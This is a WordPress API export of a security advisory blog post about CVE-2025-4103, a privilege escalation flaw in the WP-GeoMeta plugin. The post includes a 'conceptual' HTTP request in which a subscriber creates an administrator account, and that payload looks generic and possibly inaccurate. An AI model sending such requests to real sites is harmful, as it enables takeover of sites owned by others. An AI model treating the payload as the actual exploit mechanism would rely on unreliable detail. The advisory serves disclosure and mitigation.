{"id":49272,"date":"2025-06-06T09:35:51","date_gmt":"2025-06-06T09:35:51","guid":{"rendered":""},"modified":"2025-09-26T14:05:07","modified_gmt":"2025-09-26T20:05:07","slug":"cve-2025-4103-privilege-escalation-vulnerability-in-wp-geometa-plugin-for-wordpress","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-4103-privilege-escalation-vulnerability-in-wp-geometa-plugin-for-wordpress\/","title":{"rendered":"<strong>CVE-2025-4103: Privilege Escalation Vulnerability in WP-GeoMeta Plugin for WordPress<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>A severe vulnerability has been discovered in the WP-GeoMeta plugin for WordPress, which could potentially compromise systems and lead to data leakage. This vulnerability, identified as CVE-2025-4103, is particularly concerning because it allows attackers with only Subscriber-level access to elevate their privileges to the level of an administrator. This <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-27998-privilege-escalation-vulnerability-in-valvesoftware-steam-client\/\"  data-wpil-monitor-id=\"55193\">privilege escalation vulnerability<\/a> poses a significant risk to all users of the vulnerable versions of the WP-GeoMeta plugin, as it opens the door for malicious actors to gain unauthorized control over their WordPress sites.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-4103<br \/>\nSeverity: High (8.8)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: Low (Subscriber-level access)<br \/>\nUser Interaction: Required<br \/>\nImpact: System compromise or <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-48383-django-select2-vulnerability-risking-data-leakage-and-unauthorized-access\/\"  data-wpil-monitor-id=\"56143\">data leakage<\/a><\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-840908508\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>WP-GeoMeta <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-5117-wordpress-property-plugin-privilege-escalation-vulnerability\/\"  data-wpil-monitor-id=\"55840\">Plugin for WordPress<\/a> | 0.3.4 to 0.3.5<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-4800-arbitrary-file-upload-vulnerability-in-masterstudy-lms-pro-plugin-for-wordpress\/\"  data-wpil-monitor-id=\"56487\">vulnerability resides in the `wp_ajax_wpgm_start_geojson_import()` function of the WP-GeoMeta plugin<\/a>. This function lacks a necessary capability check, which means that it does not properly verify the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-31279-critical-permission-issue-allowing-user-fingerprinting-in-macos-and-ipados\/\"  data-wpil-monitor-id=\"81918\">permissions of the user<\/a> making the request. As a result, a malicious actor with Subscriber-level access could exploit this oversight to perform administrative actions, like <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-47492-critical-path-traversal-vulnerability-in-drag-and-drop-file-upload-for-elementor-forms\/\"  data-wpil-monitor-id=\"55162\">uploading malicious files<\/a>, changing site settings, or even creating new admin-level user accounts.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-1952725217\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>The following is a conceptual example of how an attacker could <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-45997-exploiting-file-upload-vulnerability-in-web-based-pharmacy-product-management-system\/\"  data-wpil-monitor-id=\"57047\">exploit this vulnerability<\/a>. This is a hypothetical <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6162-critical-buffer-overflow-vulnerability-in-totolink-ex1200t-http-post-request-handler\/\"  data-wpil-monitor-id=\"81919\">HTTP request<\/a> that might be sent by an attacker already authenticated as a subscriber:<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/wp-admin\/admin-ajax.php?action=wpgm_start_geojson_import HTTP\/1.1\nHost: targetsite.com\nContent-Type: application\/json\nCookie: wordpress_logged_in_[hash]=[username]|1434730000|abcdef1234567890abcdef1234567890\n{\n&quot;importData&quot;: {\n&quot;type&quot;: &quot;FeatureCollection&quot;,\n&quot;features&quot;: [\n{\n&quot;type&quot;: &quot;Feature&quot;,\n&quot;properties&quot;: {\n&quot;title&quot;: &quot;Injected Admin Account&quot;,\n&quot;role&quot;: &quot;administrator&quot;,\n&quot;username&quot;: &quot;attacker&quot;,\n&quot;email&quot;: &quot;attacker@example.com&quot;,\n&quot;password&quot;: &quot;P@ssw0rd!&quot;\n}\n}\n]\n}\n}<\/code><\/pre>\n<p>In this example, the attacker is <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-41438-default-account-exploit-in-cs5000-fire-panel-systems\/\"  data-wpil-monitor-id=\"57046\">exploiting the vulnerability to create a new admin-level user account<\/a> under their control.<\/p>\n<p><strong>Mitigation<\/strong><\/p>\n<p>Users of the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-3055-critical-arbitrary-file-deletion-vulnerability-in-wp-user-frontend-pro-plugin\/\"  data-wpil-monitor-id=\"59178\">WP-GeoMeta Plugin<\/a> for WordPress should apply the latest vendor patch to mitigate this vulnerability. If a patch is not yet available, users should consider using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) to provide temporary protection against <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-5100-a-double-free-vulnerability-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"56632\">potential exploitation of this vulnerability<\/a>. Regularly <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6791-sql-injection-vulnerability-in-centreon-web-monitoring-event-logs-module\/\"  data-wpil-monitor-id=\"84128\">monitoring system logs<\/a> for any suspicious activity is also strongly recommended.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview A severe vulnerability has been discovered in the WP-GeoMeta plugin for WordPress, which could potentially compromise systems and lead to data leakage. This vulnerability, identified as CVE-2025-4103, is particularly concerning because it allows attackers with only Subscriber-level access to elevate their privileges to the level of an administrator. This privilege escalation vulnerability poses a [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[76],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-49272","post","type-post","status-publish","format-standard","hentry","category-uncategorized","attack_vector-privilege-escalation"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/49272","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=49272"}],"version-history":[{"count":10,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/49272\/revisions"}],"predecessor-version":[{"id":76911,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/49272\/revisions\/76911"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=49272"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=49272"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=49272"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=49272"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=49272"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=49272"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=49272"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=49272"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=49272"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}